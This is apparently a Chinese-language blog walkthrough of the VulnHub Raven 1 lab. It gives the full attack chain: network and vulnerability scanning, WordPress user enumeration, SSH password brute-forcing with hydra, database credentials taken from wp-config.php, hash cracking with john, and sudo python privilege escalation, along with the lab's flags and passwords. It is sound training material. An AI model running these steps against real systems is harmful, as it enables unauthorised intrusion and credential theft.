vulnhub靶机渗透RAVEN1

Raven 1

一、有效资产收集

资产编号 资产分类 资产名称 资产规格 访问地址 备注/问题
Raven1 主机系统 Ubuntu操作系统 Type:Linux
IP:192.168.101.135
Port:22、80、111、40695
192.168.101.135 openSSH版本较低导致的用户枚举和栈溢出,wordpress存在敏感信息泄露

flag:

==flag1{b9bbcb33e11b80be759c4e844862482d}==

==flag2{fc3fd58dcdad9ab23faca6e9a36e581c}==

==flag3{afc01ab56b50591e7dccf93122770cd2}==

==flag4{715dea6c055b9fe3337544932f2941ce}==

靶机下载地址:https://www.vulnhub.com/entry/raven-1,256/

二、渗透测试过程

kali攻击机ip为192.168.101.128

1. 信息收集

  • 通过netdiscover进行二层发现,发现地址为192.168.101.135主机

其他几个主机分别代表:

  • 192.168.101.1 物理机
  • 192.168.101.2 网关
  • 192.168.101.254 DHCP服务器
1
netdiscover -r 192.168.101.0/24

  • 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1
ping 192.168.101.135

  • 通过masscan四层发现目标主机开放端口
1
masscan -p0-65535 --rate=10000 192.168.101.135

masscan:高速端口扫描工具。参数如下:

  • -p:指定要扫描的端口范围,可以是单个端口如-p80,443或者多个端口-p1-65535
  • –rate:指定扫描速率,即每秒扫描多少个端口,默认速率10000
  • -iL:指定要扫描的IP地址列表,可以是一个文件,也可以是一个逗号分隔的IP地址列表
  • -oL:指定输出扫描结果的文件名,可以是一个文件,也可以是一个目录

目标主机开启了80web服务端口,40695端口,111端口

  • 扫描目标端口服务

    1
    nmap -A -p- -sC -T4 -sS -P0 192.168.101.135 -oN nmap.A
    • -A 使用操作系统检测、版本检测等选项
    • -p- 扫描目标主机所有端口(1-65535)
    • -sC 使用默认的Nmap脚本扫描
    • -T4 设置扫描速度为”快”
    • -sS 使用SYN扫描(半开放扫描)
    • -P0 禁用ping,不进行主机存活扫描
    • -oN nmap.A 将扫描结果输出到文件”nmap.A”中,格式为正常输出

  • 目标开启了以下端口及服务:
    • 22端口,服务为OpenSSH 6.7p1;且系统为Debian 5 +deb8u4
    • 80端口,服务为Apacha 2.4.10
    • 111端口,服务为rpcbind
    • 40695端口,服务为rpc

使用Nmap中漏洞分类NSE脚本对目标进行探测

1
nmap -sV --script vuln 192.168.101.135

可以看到有很多现成的CVE可以用

对网站进行指纹识别:

1
whatweb 192.168.101.135

没有有效的web服务信息

在exploit-db上搜索ssh对应版本的漏洞,或者searchspolit,目标服务器的openssh有用户名枚举漏洞

seebug上看到目标主机存在信息泄露和缓冲区溢出漏洞,还有2010年的拒绝服务漏洞(因该漏洞等级较低,实施拒绝服务也较困难所以无视)

==192.168.101.135主机的22端口存在信息泄露和缓冲区溢出漏洞,seebug还有searchspolit都能找到对应的poc,该轮信息扫描可以用来进行下一步的ssh爆破或溢出漏洞攻击。该信息泄露漏洞定义为中危==

访问其web服务:

在其service.html源码里找到flag1:

==flag1{b9bbcb33e11b80be759c4e844862482d}==

  • 目录扫描:
1
dirb 192.168.101.135

目标网站存在vendor目录,访问一下,发现存在敏感目录遍历

vendor目录一般是指在项目中用于存放第三方库、框架、插件等外部依赖的目录。

还有wordpress目录,该站应该是一个wordpress的框架

  • wappalzer分析:

在目录可以看到使用了PGPMailer(功能齐全的PHP电子邮件创建和传输类)

VERSION目录找到了PHPMailer版本号为5.2.16

进入到BLOG,看到wordpress网站后台登录入口:

点击之后,会跳转到http://raven.local/wordpress/wp-login.php。但是无法连接到raven.local,考虑是dns解析错误。添加域名到hosts文件

  • 编辑hosts文件,使raven.local解析到靶机ip,写完之后清除一下dns缓存
1
192.168.101.135 raven.local
1
ipconfig /flushdns

2. 漏洞扫描

WPscan工具

用WPscan来探测WordPress的漏洞,暴力枚举用户名:

1
wpscan --url http://192.168.101.135/wordpress/ -eu

爆破到了两个用户名,分别是:michael steven

hydra工具暴力破解

把这两个用户名写入user.txt,用hydra进行密码爆破登录SSH:

kali本身有自带的密码字典:rockyou

1
2
3
gzip -d /usr/share/wordlists/rockyou.txt.gz
cp /usr/share/wordlists/rockyou.txt pass
hydra -L user.txt -P pass 192.168.101.135 ssh

ssh的用户michael密码为michael:

尝试进行ssh登录:

1
ssh michael@192.168.101.135

ssh登录成功,获得低权限shell

3. 漏洞利用

  • find命令寻找flag2:
1
find / -name *flag* 2>/dev/null

这个命令的作用是在Linux系统中查找文件名中包含“flag”字符串的文件,并将结果输出到控制台。

  • 从根目录查找
  • *为通配符,表示文件名中含有flag字符串
  • 2为错误输出,/dev/null特殊设备用于丢弃所有数据。2>/dev/null表示忽略所有错误信息

找到flag2:==flag2{fc3fd58dcdad9ab23faca6e9a36e581c}==

登录Mysql

查看Mysql是否在运行

1
ps -ef | grep mysql

切换到wordpress目录,发现config配置文件:

1
2
cd /var/www/html/wordpress
cat wp-config.php

找到数据库账号root,密码R@v3nSecurity。Mysql登录

1
mysql -u root -p

查看mysql数据库:

获取数据库的flag3,flag4:

在wordpress.wp_posts里面找到了flag3和flag4

==flag3{afc01ab56b50591e7dccf93122770cd2}==

==flag4{715dea6c055b9fe3337544932f2941ce}==

数据库提权

在wordpress.wp_users里找到了两组数据库账号和密码

用户名分别为michaelsteven

密码加密后如下:

1
2
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
  • john解密:

把上面steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/写进1.txt,使用john工具解密:

1
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

找到steven密码pink84

提权

使用python pty提权

1
sudo python -c 'import pty; pty.spawn("/bin/bash");'

michael用户进行python提权时,由于michael用户没有被赋予sudo执行python的权限,所以提权失败,并且该事件还被记录了

ssh登录steven之后再尝试提权:

1
2
ssh steven@192.168.101.135
sudo python -c 'import pty; pty.spawn("/bin/bash");'

steven是具有python sudo权限的,在sudoers里存在:

1
steven ALL=(ALL) NOPASSWD: /usr/bin/python

授予普通用户以root权限执行Python脚本(实战用不了一点)

用find命令或者直接找,在~目录下也能找到flag4

本次渗透测试完毕

上一篇:
vulnhub靶机渗透RAVEN2
下一篇:
无线攻击之aircrack-ng